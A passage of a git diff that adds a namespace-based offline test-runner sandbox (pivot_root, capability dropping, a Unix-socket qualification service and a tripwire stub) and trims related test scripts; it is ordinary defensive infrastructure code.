view.mkdir() + mount('tmpfs', view, 'tmpfs', MS_NOSUID, 'mode=0755') + # Host IPC directories, home and arbitrary host proc roots are absent. + for name in ('usr',): + for folder, _dirs, files in os.walk('/'+name,followlinks=False): + for entry in files: + info=os.lstat(os.path.join(folder,entry)) + if stat.S_ISSOCK(info.st_mode) or stat.S_ISFIFO(info.st_mode): + raise OSError(errno.EPERM,'host IPC in tool input') + bind('/' + name, view / name) + for name, target in [('bin', 'usr/bin'), ('sbin', 'usr/sbin'), ('lib', 'usr/lib'), ('lib64', 'usr/lib64')]: + if pathlib.Path('/' + name).exists(): + (view / name).symlink_to(target) + for directory in ('etc/claude-code', 'tmp', 'run/brain-test', 'proc', 'dev', 'home/odysseus', 'sys'): + (view / directory).mkdir(parents=True, exist_ok=True) + for name in ('passwd', 'group', 'nsswitch.conf', 'hosts', 'localtime', 'ld.so.cache', 'resolv.conf'): + source = pathlib.Path('/etc') / name + if source.exists(): + # Ordinary system inputs only; never recurse through host /etc. + shutil.copyfile(source, view / 'etc' / name) + if pathlib.Path('/etc/ssl/certs').exists(): + bind('/etc/ssl/certs', view / 'etc/ssl/certs') + os.chmod(view / 'etc/claude-code', 0o555) + bind(view / 'etc', view / 'etc') + mount('tmpfs', view / 'dev', 'tmpfs', MS_NOSUID, 'mode=0755') + for device in ('null', 'full', 'zero', 'random', 'urandom', 'tty'): + bind('/dev/' + device, view / 'dev' / device, readonly=False) + (view / 'dev/fd').symlink_to('/proc/self/fd') + for number, name in enumerate(('stdin', 'stdout', 'stderr')): + (view / 'dev' / name).symlink_to('/proc/self/fd/%d' % number) + mount('proc', view / 'proc', 'proc', MS_NOSUID | MS_NODEV) + target = view / str(ROOT).lstrip('/') + target.parent.mkdir(parents=True, exist_ok=True) + bind(prepared, target, readonly=False) + setup_source = pathlib.Path(__file__).resolve() + setup_target = view / str(TOOL_ROOT / 'scripts/offline-runner/runner.py').lstrip('/') + if not setup_target.exists(): + setup_target.parent.mkdir(parents=True, exist_ok=True) + shutil.copyfile(setup_source, setup_target) + bind(setup_target, setup_target) + entry_source = TOOL_ROOT / '.test-tools/entry' + shutil.copyfile(entry_source, view / 'run/brain-test/entry') + os.chmod(view / 'run/brain-test/entry', 0o555) + bind(view / 'run/brain-test/entry', view / 'run/brain-test/entry') + (view / 'run/brain-test/bun').symlink_to('entry') + os.environ['PATH'] = '/run/brain-test:' + os.environ.get('PATH','/usr/bin:/bin') + # Real Bun may live outside /usr; pin just its regular executable, not HOME. + if not str(BUN).startswith('/usr/'): + bind(BUN, view / str(BUN).lstrip('/')) + home = view / 'home/odysseus' + os.chown(home, caller['uid'], caller['gid']) + os.chmod(view / 'tmp', 0o1777) + if QUALIFIER_SOCKET is None:raise OSError(errno.EPERM,'missing namespace qualifier') + bind(QUALIFIER_SOCKET, view / 'run/brain-test/qualify.sock', readonly=False) + client_source = pathlib.Path(__file__).with_name('view_client.py') + client_target = view / 'run/brain-test/view_client.py' + shutil.copyfile(client_source,client_target);os.chmod(client_target,0o444);bind(client_target,client_target) + # A chroot below the mount namespace root forbids later CLONE_NEWUSER. + # Pivot the final private view so ordinary product bwrap still works. + old_root=view/'.old-root';old_root.mkdir(mode=0o700) + os.chdir(view) + number={'x86_64':155,'aarch64':41}.get(os.uname().machine) + if number is None:raise OSError(errno.ENOSYS,'pivot_root architecture') + syscall(LIBC.syscall(number,ctypes.c_char_p(b'.'),ctypes.c_char_p(b'.old-root')),'pivot_root') + os.chdir('/') + syscall(LIBC.umount2(b'/.old-root',2),'old root detach') + os.rmdir('/.old-root') + os.chdir(caller['cwd'] if pathlib.Path(caller['cwd']).exists() else str(ROOT)) + os.environ['HOME'] = '/home/odysseus' + os.environ['CLAUDE_CONFIG_DIR'] = '/home/odysseus/.claude' + current = namespaces() + if any(current[key] == before[key] for key in ('net', 'mnt', 'ipc', 'pid')): + raise OSError(errno.EPERM, 'namespace separation') + network = network_state() + socket_info = os.lstat('/run/brain-test/qualify.sock') + record = {'qualifier':{'dev':socket_info.st_dev,'ino':socket_info.st_ino,'uid':os.getuid()},'root':str(ROOT),'version': 1, 'profile': profile, 'namespaces': current, 'mountHash': mount_hash(), + 'ownerPid': os.getpid(), 'ownerStart': start(os.getpid()), 'identity': caller, + 'uidMap': pathlib.Path('/proc/self/uid_map').read_text(), 'gidMap': pathlib.Path('/proc/self/gid_map').read_text(), + 'network': network} + stub = ROOT / '.test-tools/native-stub' + bind(stub, stub) + candidates = sorted(str(path.resolve()) for path in (ROOT / 'node_modules/@anthropic-ai').glob('claude-agent-sdk*/claude') if path.is_file()) + mask_file = pathlib.Path('/run/brain-test/runtime-masks.json') + mask_file.write_text(json.dumps({'version':1,'stub':str(stub),'paths':candidates})) + os.chmod(mask_file,0o444) + bind(mask_file, mask_file) + catalog_file = pathlib.Path('/run/brain-test/rootless-files.json') + shutil.copyfile(ROOT / 'scripts/offline-runner/rootless-files.json', catalog_file) + os.chmod(catalog_file, 0o444) + bind(catalog_file, catalog_file) + record_file = pathlib.Path('/run/brain-test/record.json') + record_file.write_text('{}') + evidence = record_file.open('r+') + os.chmod(record_file, 0o444) + # Finalize every mount before issuing evidence. Only this setup-owned + # original fd can write the record; it closes before the runner starts. + bind(record_file, record_file) + bind('/run/brain-test','/run/brain-test') + record['mountHash'] = mount_hash() + evidence.write(json.dumps(record)) + evidence.flush() + os.fsync(evidence.fileno()) + evidence.close() + # A file capability cannot restore mount authority in this admitted view. + syscall(LIBC.prctl(24,21,0,0,0),'drop mount capability bounding') + if profile == 'root': + os.setgroups(caller['groups']) + os.setgid(caller['gid']) + os.setuid(caller['uid']) + drop_capabilities() + if (os.getuid(), os.getgid(), os.getgroups()) != (caller['uid'], caller['gid'], caller['groups']): + raise OSError(errno.EPERM, 'final identity differs') + if READINESS_FD is not None: + os.write(READINESS_FD,b'qualified\n');os.close(READINESS_FD) + os.umask(caller['umask']) + print(json.dumps({'kind':'offline-runner-qualified','success':True,'profile':profile,'uid':os.getuid(),'gid':os.getgid(),'groups':os.getgroups(),'namespaces':current}),file=sys.stderr,flush=True) + # Finalized mount fingerprint includes the record bind itself. + return record + + +def run(caller, profile): + global QUALIFIER_SOCKET + service_pid = None + before = namespaces() + if profile == 'rootless': + if caller['uid'] == 0: + raise OSError(errno.EPERM, 'rootless requires non-root caller') + syscall(LIBC.unshare(NEWUSER), 'user namespace') + pathlib.Path('/proc/self/setgroups').write_text('deny') + pathlib.Path('/proc/self/uid_map').write_text('%d %d 1\n' % (caller['uid'], caller['uid'])) + pathlib.Path('/proc/self/gid_map').write_text('%d %d 1\n' % (caller['gid'], caller['gid'])) + # A single-ID map cannot represent supplementary groups faithfully. + if caller['groups'] not in ([], [caller['gid']]): + raise OSError(errno.EPERM, 'rootless groups cannot be represented') + syscall(LIBC.unshare(NEWNS | NEWNET | NEWIPC), 'private namespaces') + mount(None, '/', flags=MS_REC | MS_PRIVATE) + with socket.socket(socket.AF_INET,socket.SOCK_DGRAM) as control: + flags=fcntl.ioctl(control.fileno(),0x8913,struct.pack('16sH',b'lo',0)) + current=struct.unpack('16sH',flags[:18])[1] + fcntl.ioctl(control.fileno(),0x8914,struct.pack('16sH',b'lo',current|1)) + backing = tempfile.mkdtemp(prefix='odysseus-offline-') + # Input copies live on a private backing mount. No host pathname can add + # a socket to the writable tree after the initial copy. + mount('tmpfs', backing, 'tmpfs', MS_NOSUID, 'mode=0755') + try: + prepared = pathlib.Path(backing) / 'source' + os.chmod(backing, 0o755) + prepared.mkdir() + os.chown(prepared, caller['uid'], caller['gid']) + capturer = os.fork() + if capturer == 0: + try: + if os.geteuid() == 0: + os.setgroups(caller['groups']); os.setgid(caller['gid']); os.setuid(caller['uid']) + snapshot(ROOT, prepared) + os._exit(0) + except BaseException as error: + print(json.dumps({'kind':'offline-source-capture-refusal','errorClass':type(error).__name__,'errno':getattr(error,'errno',None),'operation':getattr(error,'strerror',None)}),file=sys.stderr,flush=True) + os._exit(77) + _, captured = os.waitpid(capturer, 0) + if captured != 0: raise OSError(errno.EPERM, 'private input capture') + QUALIFIER_SOCKET = str(pathlib.Path(backing)/'qualify.sock') + listener=socket.socket(socket.AF_UNIX,socket.SOCK_SEQPACKET) + listener.bind(QUALIFIER_SOCKET);os.chmod(QUALIFIER_SOCKET,0o666);listener.listen() + controller,service_control=socket.socketpair(socket.AF_UNIX,socket.SOCK_SEQPACKET) + service_pid=os.fork() + if service_pid==0: + controller.close() + spec=importlib.util.spec_from_file_location('view_service',pathlib.Path(__file__).with_name('view_service.py')) + service=importlib.util.module_from_spec(spec);spec.loader.exec_module(service) + service.serve(listener,service_control,before,caller,profile) + os._exit(125) + service_control.close() + listener.close() + syscall(LIBC.unshare(NEWPID), 'private PID namespace') + setup_fd = os.pidfd_open(os.getpid()) + child = os.fork() + if child == 0: + controller.close() + try: + syscall(LIBC.unshare(NEWNS), 'final private mount namespace') + finish_view(backing, prepared, caller, profile, before) + syscall(LIBC.prctl(1, signal.SIGKILL, 0, 0, 0), 'init parent tie') + parent_check = select.poll(); parent_check.register(setup_fd, select.POLLIN) + if parent_check.poll(0): os._exit(125) + os.close(setup_fd) + command = list(COMMAND) + payload = os.fork() + if payload == 0: + os.setsid() + syscall(LIBC.prctl(1, signal.SIGKILL, 0, 0, 0), 'payload parent tie') + if os.getppid() != 1: os._exit(125) + execute(command) + def signal_payload(sig, _frame): + try: os.killpg(payload, sig) + except ProcessLookupError: pass + for sig in (signal.SIGINT, signal.SIGTERM, signal.SIGHUP): + signal.signal(sig, signal_payload) + _, result = os.waitpid(payload, 0) + # PID 1 reaps its descendants; its exit kills anything still + # owned by this private PID namespace, closing all pipes. + os._exit(os.waitstatus_to_exitcode(result) if os.WIFEXITED(result) else 128 + os.WTERMSIG(result)) + except BaseException as error: + refusal('final-entry', error) + os.close(setup_fd) + controller.sendall(json.dumps({'pid':child,'start':start(child)}).encode());controller.close() + def forward(sig, _frame): + try: + os.kill(child, sig) + except ProcessLookupError: + pass + for sig in (signal.SIGINT, signal.SIGTERM, signal.SIGHUP): + signal.signal(sig, forward) + _, status = os.waitpid(child, 0) + return os.waitstatus_to_exitcode(status) + finally: + if service_pid is not None: + try:os.kill(service_pid,signal.SIGTERM) + except ProcessLookupError:pass + os.waitpid(service_pid,0) + # Each binding is private to a child mount view; release recursively. + view = pathlib.Path(backing) / 'view' + if view.exists(): + result = LIBC.umount2(os.fsencode(view), 2) + if result != 0 and ctypes.get_errno() not in (errno.EINVAL, errno.ENOENT): + raise OSError(ctypes.get_errno(), 'owned view unmount') + syscall(LIBC.umount2(os.fsencode(backing), 2), 'private backing unmount') + shutil.rmtree(backing) + + +OUTER = None +if COMMAND[:1] == ['--fixture-control']: + requested = COMMAND[1:] + expected = ['/usr/bin/python3','-I','-S',str(TOOL_ROOT / 'scripts/offline-runner/proof.py')] + if requested not in (expected,expected+['--mutations']): refusal('unknown fixture control') + OUTER, COMMAND = requested, ['/usr/bin/true'] +else: + outer_files = {'ci-proof.ts','unit-workers.ts','browser-determinism.ts','test-determinism.ts','prove-worker-identity.ts','prove-native-host.ts','prove-reference-pool.ts','visual.mjs','capture.ts','check-pr.ts'} + if len(COMMAND)>1 and pathlib.Path(COMMAND[1]).resolve().parent == TOOL_ROOT / 'scripts' and pathlib.Path(COMMAND[1]).name in outer_files: + OUTER, COMMAND = COMMAND, ['/usr/bin/true'] + elif len(COMMAND)>2 and COMMAND[1]=='run' and COMMAND[2] in {'test:browser','test:layout','test:endurance','visual','visual:update','check:pr','captures'}: + OUTER, COMMAND = COMMAND, ['/usr/bin/true'] + +FORCE_ROOTLESS = COMMAND[:1] == ['--rootless'] +if FORCE_ROOTLESS: COMMAND = COMMAND[1:] +if not COMMAND: + refusal('missing-command') +def isolated_run(caller, profile): + # The holder never enters the namespace it owns; rootless setup failure + # cannot leave the caller half-entered before the B refusal. + owner_fd = os.pidfd_open(caller['pid']) + if start(caller['pid']) != caller['start']: + os.close(owner_fd); raise OSError(errno.ESRCH, 'caller changed') + worker = os.fork() + if worker == 0: + os.setsid() + os.close(owner_fd) + parent = os.getppid() + syscall(LIBC.prctl(1, signal.SIGKILL, 0, 0, 0), 'setup parent tie') + if os.getppid() != parent: os._exit(125) + try: + code = run(caller, profile) + os._exit(code if code >= 0 else 128 - code) + except (OSError, ValueError, subprocess.SubprocessError) as error: + refusal('namespace-or-view', error) + worker_fd = os.pidfd_open(worker) + poller = select.poll(); poller.register(owner_fd, select.POLLIN); poller.register(worker_fd, select.POLLIN) + def forward(sig, _frame): + try: signal.pidfd_send_signal(worker_fd, sig) + except ProcessLookupError: pass + for sig in (signal.SIGINT, signal.SIGTERM, signal.SIGHUP): signal.signal(sig, forward) + try: + while True: + events = poller.poll() + if any(fd == owner_fd for fd, _mask in events): + try: signal.pidfd_send_signal(worker_fd, signal.SIGKILL) + except ProcessLookupError: pass + if any(fd == worker_fd for fd, _mask in events): break + _, status = os.waitpid(worker, 0) + return os.waitstatus_to_exitcode(status) + finally: + os.close(owner_fd); os.close(worker_fd) + + +def verified_caller(path): + fd = os.open(path, os.O_RDONLY | os.O_NOFOLLOW) + try: + info = os.fstat(fd) + if not stat.S_ISREG(info.st_mode) or info.st_nlink != 1 or info.st_mode & 0o077: + raise OSError(errno.EPERM, 'caller record') + value = json.loads(os.read(fd, 65536)) + finally: + os.close(fd) + if os.getuid() != 0 or os.environ.get('SUDO_UID') != str(value['uid']) or info.st_uid != value['uid']: + raise OSError(errno.EPERM, 'caller ownership') + status = pathlib.Path('/proc/%d/status' % value['pid']).read_text() + fields = dict(line.split(':', 1) for line in status.splitlines() if ':' in line) + if start(value['pid']) != value['start'] or int(fields['Uid'].split()[0]) != value['uid'] or int(fields['Gid'].split()[0]) != value['gid'] or list(map(int, fields['Groups'].split())) != value['groups']: + raise OSError(errno.EPERM, 'caller kernel identity') + return value + + +def borrowed_view(): + path = pathlib.Path('/run/brain-test/record.json') + if not path.exists(): return None + info = path.lstat() + record = json.loads(path.read_text()) + if not stat.S_ISREG(info.st_mode) or info.st_mode & 0o777 != 0o444 or record['version'] != 1: + raise OSError(errno.EPERM, 'borrowed record') + changed = record['namespaces'] != namespaces() or record['mountHash'] != mount_hash() + if start(record['ownerPid']) != record['ownerStart']: + raise OSError(errno.ESRCH, 'borrowed owner') + issuer = pathlib.Path('/proc/%d/cmdline' % record['ownerPid']).read_bytes().split(b'\0') + expected = (os.fsencode(TOOL_ROOT / 'scripts/offline-runner/runner.py'), b'/usr/local/libexec/brain-test/runner.py') + if len(issuer) < 5 or issuer[1:3] != [b'-I', b'-S'] or issuer[3] not in expected: + raise OSError(errno.EPERM, 'borrowed issuer') + expected = record['identity'] + changed = changed or (os.getuid(), os.getgid(), os.getgroups()) != (expected['uid'], expected['gid'], expected['groups']) + if changed: + spec=importlib.util.spec_from_file_location('view_client','/run/brain-test/view_client.py') + client=importlib.util.module_from_spec(spec);spec.loader.exec_module(client) + record=client.request(record) + if record['namespaces']!=namespaces() or record['mountHash']!=mount_hash():raise OSError(errno.EPERM,'qualified view changed') + status = pathlib.Path('/proc/self/status').read_text() + for field in ('CapEff', 'CapPrm', 'CapInh', 'CapAmb'): + value = next(line.split()[1] for line in status.splitlines() if line.startswith(field + ':')) + if int(value, 16): raise OSError(errno.EPERM, 'borrowed capabilities') + expected = record['identity'] + if (os.getuid(), os.getgid(), os.getgroups()) != (expected['uid'], expected['gid'], expected['groups']): + raise OSError(errno.EPERM, 'borrowed identity') + return record + + +def execute(command): + record = borrowed_view() + if OUTER and record is None: + os.environ['PATH']=str(TOOL_ROOT/'.test-tools')+':'+os.environ.get('PATH','/usr/bin:/bin') + if record and record['profile'] == 'rootless': + spec = importlib.util.spec_from_file_location('rootless_catalog', ROOT / 'scripts/offline-runner/catalog.py') + catalog_module = importlib.util.module_from_spec(spec); spec.loader.exec_module(catalog_module) + catalog = json.loads(pathlib.Path('/run/brain-test/rootless-files.json').read_text())['files'] + command, refused = catalog_module.resolve_command(ROOT, pathlib.Path.cwd(), command, catalog) + if refused: + for file in refused: + print(json.dumps({'kind':'offline-runner-refusal','success':False,'reason':catalog_module.REFUSAL,'file':file}), file=sys.stderr, flush=True) + # Compatible files still run; the invocation cannot become green. + if len(command) < 3 or not any(path.endswith(('.test.ts','.test.tsx','.spec.ts','.spec.tsx')) for path in command[2:]): + raise OSError(errno.EPERM, 'incompatible rootless selection') + os.environ['BRAIN_TEST_REFUSED_SELECTION'] = '1' + if command[0] in ('bun', str(BUN)): + command = [str(BUN), '--no-env-file', *command[1:]] + os.execvpe(command[0], command, os.environ) + + +try: + inherited_view = borrowed_view() + if inherited_view: + ROOT = pathlib.Path(inherited_view['root']) + execute(OUTER or COMMAND) + if COMMAND[0] == '--root-handoff': + if len(COMMAND) < 3: raise OSError(errno.EINVAL, 'root handoff') + caller = verified_caller(COMMAND[1]) + restore_harness(caller) + ready_path = pathlib.Path(COMMAND[1]).with_name('started') + READINESS_FD = os.open(ready_path,os.O_WRONLY|os.O_CREAT|os.O_EXCL|os.O_NOFOLLOW|os.O_CLOEXEC,0o600) + original_ready=READINESS_FD + READINESS_FD=fcntl.fcntl(original_ready,fcntl.F_DUPFD_CLOEXEC,64);os.close(original_ready) + os.fchown(READINESS_FD,caller['uid'],caller['gid']) + COMMAND = COMMAND[2:] + try: code = isolated_run(caller, 'root') + finally: os.close(READINESS_FD) + else: + caller = identity() + if os.geteuid() == 0: + code = isolated_run(caller, 'root') + else: + if not FORCE_ROOTLESS and SETUP.exists(): + info = SETUP.stat() + if info.st_uid != 0 or info.st_mode & 0o022: + raise OSError(errno.EPERM, 'fixed root setup ownership') + with tempfile.TemporaryDirectory(prefix='odysseus-caller-') as directory: + context = pathlib.Path(directory) / 'caller.json' + context.write_text(json.dumps(caller)); os.chmod(context, 0o600) + child = subprocess.Popen(['/usr/bin/sudo', '-n', str(SETUP), '--root-handoff', str(context), *COMMAND],start_new_session=True) + previous={} + def forward_setup(sig,_frame): + try:os.kill(child.pid,sig) + except ProcessLookupError:pass + for sig in (signal.SIGINT,signal.SIGTERM,signal.SIGHUP):previous[sig]=signal.signal(sig,forward_setup) + try:child.wait() + finally: + for sig,handler in previous.items():signal.signal(sig,handler) + result=child + ready = pathlib.Path(directory) / 'started' + if ready.exists() and ready.read_bytes() == b'qualified\n': + if OUTER and result.returncode == 0: execute(OUTER) + raise SystemExit(result.returncode) + # If D1 is unavailable, try only the qualified C profile. There is + # no masks/preload-only fallback, and no interpreter exemption. + code = isolated_run(caller, 'rootless') + if OUTER and code == 0: + if os.geteuid() != 0 and not SETUP.exists() and any('prove-' in item or 'runtime_host' in item for item in OUTER): + raise OSError(errno.EPERM, 'incompatible rootless selection') + execute(OUTER) + raise SystemExit(code if code >= 0 else 128 - code) +except (OSError, ValueError, subprocess.SubprocessError) as error: + refusal('namespace-or-view', error) diff --git a/scripts/offline-runner/runtime-stub.c b/scripts/offline-runner/runtime-stub.c new file mode 100644 index 0000000000..30ea417a9a --- /dev/null +++ b/scripts/offline-runner/runtime-stub.c @@ -0,0 +1,8 @@ +/* Additional path tripwire; the runner's kernel boundary enforces offline IO. */ +#include +int main(void) { + const char record[]="{\"kind\":\"offline-runtime-tripwire\",\"success\":false,\"reason\":\"installed native runtime blocked by tripwire\"}\n"; + ssize_t written=write(2,record,sizeof(record)-1); + (void)written; + return 125; +} diff --git a/scripts/offline-runner/view_client.py b/scripts/offline-runner/view_client.py new file mode 100644 index 0000000000..9161a17c51 --- /dev/null +++ b/scripts/offline-runner/view_client.py @@ -0,0 +1,39 @@ +"""One read-only namespace qualification request; no executable/file requests.""" +import json +import os +import pathlib +import socket +import stat +import struct + + +def request(base): + endpoint='/run/brain-test/qualify.sock' + info=os.lstat(endpoint) + expected=base['qualifier'] + if not stat.S_ISSOCK(info.st_mode) or (info.st_dev,info.st_ino)!=(expected['dev'],expected['ino']): + raise ValueError('namespace qualifier socket changed') + with socket.socket(socket.AF_UNIX,socket.SOCK_SEQPACKET) as peer: + peer.settimeout(5) + peer.connect(endpoint) + _pid,uid,_gid=struct.unpack('3i',peer.getsockopt(socket.SOL_SOCKET,socket.SO_PEERCRED,12)) + # Both kernel values are translated into this client's user namespace. + if uid!=info.st_uid:raise ValueError('namespace qualifier owner changed') + peer.sendall(b'qualify') + data=peer.recv(32769) + if len(data)>32768:raise ValueError('namespace qualifier reply bound') + reply=json.loads(data) + if set(reply)!={'version','namespaces','mountHash','identity'} or reply['version']!=1: + raise ValueError('namespace qualifier reply schema') + if set(reply['identity'])!={'uid','gid','groups'} or set(reply['namespaces'])!={'net','mnt','ipc','pid','user'}: + raise ValueError('namespace qualifier identity schema') + result={**base,**reply} + return result + + +if __name__=='__main__': + try: + base=json.loads(pathlib.Path('/run/brain-test/record.json').read_text()) + print(json.dumps(request(base))) + except (OSError,ValueError,KeyError): + raise SystemExit(125) diff --git a/scripts/offline-runner/view_service.py b/scripts/offline-runner/view_service.py new file mode 100644 index 0000000000..264dafc16c --- /dev/null +++ b/scripts/offline-runner/view_service.py @@ -0,0 +1,96 @@ +"""Launcher-owned, metadata-only qualification of owned descendant views.""" +import ctypes +import hashlib +import json +import os +import pathlib +import select +import socket +import stat +import struct + + +def start(pid): + return pathlib.Path('/proc/%d/stat'%pid).read_text().rsplit(') ',1)[1].split()[19] + + +def mounts(pid): + data=pathlib.Path('/proc/%d/mountinfo'%pid).read_bytes() + rows=[] + for line in data.decode().splitlines(): + words=line.split();split=words.index('-') + rows.append((words[2],words[3],words[5].split(','),words[split+1])) + return data,rows + + +def serve(listener,control,before,caller,profile): + scope=json.loads(control.recv(4096));control.close() + if set(scope)!={'pid','start'} or start(scope['pid'])!=scope['start']:os._exit(125) + owner=os.pidfd_open(scope['pid']) + polling=select.poll();polling.register(owner,select.POLLIN);polling.register(listener,select.POLLIN) + admitted={};baseline=None;host_devices={row[0] for row in mounts(os.getpid())[1]} + try: + while True: + events=polling.poll() + if any(fd==owner for fd,_ in events):break + if not any(fd==listener.fileno() for fd,_ in events):continue + channel,_=listener.accept();channel.settimeout(5) + try: + if channel.recv(32)!=b'qualify':raise ValueError('request schema') + pid,uid,_gid=struct.unpack('3i',channel.getsockopt(socket.SOL_SOCKET,socket.SO_PEERCRED,12)) + stamp=start(pid);current=pid;owned=False + for _ in range(256): + if current==scope['pid']:owned=True;break + current=int(pathlib.Path('/proc/%d/stat'%current).read_text().rsplit(') ',1)[1].split()[1]) + if current<=1:break + if not owned:raise ValueError('unowned namespace requester') + if baseline is None: + data,rows=mounts(scope['pid']) + evidence=json.loads(pathlib.Path('/proc/%d/root/run/brain-test/record.json'%scope['pid']).read_text()) + digest=hashlib.sha256(data).hexdigest() + if evidence['mountHash']!=digest or evidence['ownerStart']!=scope['start']:raise ValueError('original admitted mounts changed') + baseline=rows + key=os.readlink('/proc/%d/ns/mnt'%scope['pid']) + admitted[key]=digest + fields=dict(line.split(':',1) for line in pathlib.Path('/proc/%d/status'%pid).read_text().splitlines() if ':' in line) + for key in ('CapEff','CapPrm','CapInh','CapAmb'): + if int(fields[key].strip(),16):raise ValueError('privileged view is not admitted') + identity={'uid':int(fields['Uid'].split()[0]),'gid':int(fields['Gid'].split()[0]),'groups':list(map(int,fields['Groups'].split()))} + if identity['uid']!=uid:raise ValueError('request identity differs') + def translated(value,kind): + for line in pathlib.Path('/proc/%d/%s_map'%(pid,kind)).read_text().splitlines(): + inside,outside,length=map(int,line.split()) + if outside<=value32768:raise ValueError('reply bound') + channel.sendall(payload) + except (OSError,ValueError,KeyError,IndexError) as error: + print(json.dumps({'kind':'offline-view-refusal','reason':'offline native isolation unavailable: setup failed','operation':str(error) if type(error) is ValueError else type(error).__name__,'errno':getattr(error,'errno',None)}),file=__import__('sys').stderr,flush=True) + try:channel.sendall(b'{"refused":true}') + except OSError:pass + finally:channel.close() + finally: + listener.close();os.close(owner) + os._exit(0) diff --git a/scripts/pi-schema-offline-preload.ts b/scripts/pi-schema-offline-preload.ts index aee22b30fa..c4b93f7698 100644 --- a/scripts/pi-schema-offline-preload.ts +++ b/scripts/pi-schema-offline-preload.ts @@ -1,4 +1,3 @@ -import "./test-network-child-preload.ts"; /** Native control, always fake: no provider transport delegates to real fetch. */ // The host loads this first; the worker inherits the marker and imports it again. const inWorker = process.env.BRAIN_MEASURE_PI_WORKER_OFFLINE === "1"; diff --git a/scripts/pi-schema-runner.py b/scripts/pi-schema-runner.py index 692dea8d24..4bb659df7f 100644 --- a/scripts/pi-schema-runner.py +++ b/scripts/pi-schema-runner.py @@ -118,7 +118,6 @@ def launch(out, form, bun, offline, mutation=None, expected_account=None, replay command.extend(["--proc","/proc","--dev","/dev","--tmpfs","/tmp","--ro-bind",str(ROOT),"/workspace","--ro-bind",str(bun.parent),"/runtime","--bind",str(run),"/fixture-run","--bind",str(out/"billing"),"/billing","--chdir","/fixture-run/brain","/runtime/bun"]) if offline: command.extend(["--preload","/workspace/scripts/pi-schema-offline-preload.ts"]) command.extend(["--preload","/workspace/scripts/pi-schema-preload.ts","/workspace/scripts/measure-pi-schema.ts","--brain","/fixture-run/brain","--out","/fixture-run/result.json"]) - if not offline: command.append("--allow-real-provider") started=time.monotonic() with (run/"stdout.log").open("wb") as stdout, (run/"stderr.log").open("wb") as stderr: process_receipt=wait_owned_process(command,env,stdout,stderr) diff --git a/scripts/prove-native-host.ts b/scripts/prove-native-host.ts index 518bcd7c71..bd669fb938 100644 --- a/scripts/prove-native-host.ts +++ b/scripts/prove-native-host.ts @@ -1,19 +1,19 @@ +import {prepareOfflineContainer} from "./offline-runner/container.mjs"; import { observationTreeOptions, type ObservationTree } from "./native-proof/observation-tree.js"; /** Required offline Btrfs/Unix-manager hosted proof; missing prerequisites fail. */ -import { chmodSync, lstatSync, mkdtempSync, mkdirSync, readFileSync, readdirSync, realpathSync, rmSync, writeFileSync } from "node:fs"; +import { chmodSync, mkdtempSync, mkdirSync, readFileSync, readdirSync, realpathSync, writeFileSync } from "node:fs"; import { basename, dirname, join, resolve } from "node:path"; import { verifyIndexReleaseReproduction } from "./native-proof/verify-index-release-repro.js"; import { EXPECTED_FAILURE_PREFIX, runExpectedFailureControl } from "./expected-failure-log.js"; import { ownedCleanupComplete } from "./native-proof/verify-owned-remove.js"; -import { nativeGuardEnvironment } from "./native-proof/guard-environment.ts"; export const NATIVE_PROOF_IMAGE = "brain-kit-native-runtime:1"; export const NATIVE_PROOF_NAME = "native managed hosted admission"; export function nativeHostDockerArgs(root: string, artifact: string, uid: string, backend: string, apparmor: boolean, retainIndexNamespace: boolean, bun: string, applyTiming = false, observationTiming = false, tree?: ObservationTree): string[] { const lease = join(root, "tmp", "workspace-operation"); - return ["docker", "run", "--rm", "--pull=never", "--network=none", ...nativeGuardEnvironment(), + return ["docker", "run", "--rm", "--pull=never", "--network=none", ...(retainIndexNamespace ? ["--env=BRAIN_NATIVE_PROOF_RETAIN_INDEX_NAMESPACE=1"] : []), ...(applyTiming ? ["--env=BRAIN_NATIVE_PROOF_APPLY_TIMING=1"] : []), ...(observationTiming ? ["--env=BRAIN_NATIVE_PROOF_OBSERVATION_TIMING=1"] : []), @@ -31,30 +31,6 @@ export function nativeHostDockerArgs(root: string, artifact: string, uid: string "--workdir=/repo", "--entrypoint=/bin/sh", NATIVE_PROOF_IMAGE, "/repo/scripts/native-proof/stable-run.sh", basename(artifact), "host", "python3", "/repo/scripts/native-proof/fixture.py", backend, uid]; } -/** Root artifact writer; invoked only after the proof container has exited. */ -export function nativeHostHandoffArgs(root:string,artifact:string,pin:{dev:bigint;ino:bigint}):string[]{ - return ["docker","run","--rm","--pull=never","--network=none","--cap-drop=ALL","--cap-add=CHOWN","--cap-add=DAC_OVERRIDE","--security-opt=no-new-privileges","--mount",`type=bind,source=${artifact},target=/proof`,"--mount",`type=bind,source=${join(root,"scripts/native-proof/handoff-proof.py")},target=/handoff.py,readonly`,"--entrypoint=python3",NATIVE_PROOF_IMAGE,"/handoff.py","/proof",String(pin.dev),String(pin.ino)]; -} - -function finishNativeHostArtifacts(root:string,artifact:string,pin:{dev:bigint;ino:bigint},control:string):void { - // The Docker client exiting alone does not prove its container exited. - // The ID file is outside the payload's proof bind in a private host root. - let id:string|undefined;try{id=readFileSync(join(control,"id"),"utf8").trim();}catch(error){if((error as NodeJS.ErrnoException).code!=="ENOENT")throw error;} - if(id){ - if(!/^[a-f0-9]{64}$/.test(id))throw Error("Native proof container identity unavailable"); - const listed=Bun.spawnSync(["docker","ps","-aq","--no-trunc","--filter",`id=${id}`],{stdout:"pipe",stderr:"pipe"}); - if(listed.exitCode!==0)throw Error("Native proof container exit unavailable"); - if(listed.stdout.toString().trim()){ - const state=Bun.spawnSync(["docker","inspect","--format","{{json .State.Running}}",id],{stdout:"pipe",stderr:"pipe"}); - if(state.exitCode!==0||state.stdout.toString().trim()!=="false")throw Error("Native proof container has not exited"); - } - } - rmSync(control,{recursive:true,force:true}); - // No payload remains: preserve private modes while returning artifact ownership. - const handoff=Bun.spawnSync(nativeHostHandoffArgs(root,artifact,pin),{stdout:"inherit",stderr:"inherit"}); - if(handoff.exitCode!==0)throw Error("Native proof artifact ownership handoff failed"); -} - /** Shared fixture protocol boundary, also callable without launching Docker. */ export function requireNativeHostCleanup(cleanup: unknown): void { if (!ownedCleanupComplete(cleanup)) @@ -86,9 +62,6 @@ if (import.meta.main) { const security = Bun.spawnSync(["docker", "info", "--format", "{{json .SecurityOptions}}"], { stdout: "pipe", stderr: "pipe" }); if (security.exitCode !== 0) throw Error("Cannot inspect Docker runtime security prerequisites."); const apparmor = (JSON.parse(new TextDecoder().decode(security.stdout)) as string[]).some(value => value.startsWith("name=apparmor")); - // Exercise the post-exit private-file writer where the pinned proof image exists. - const 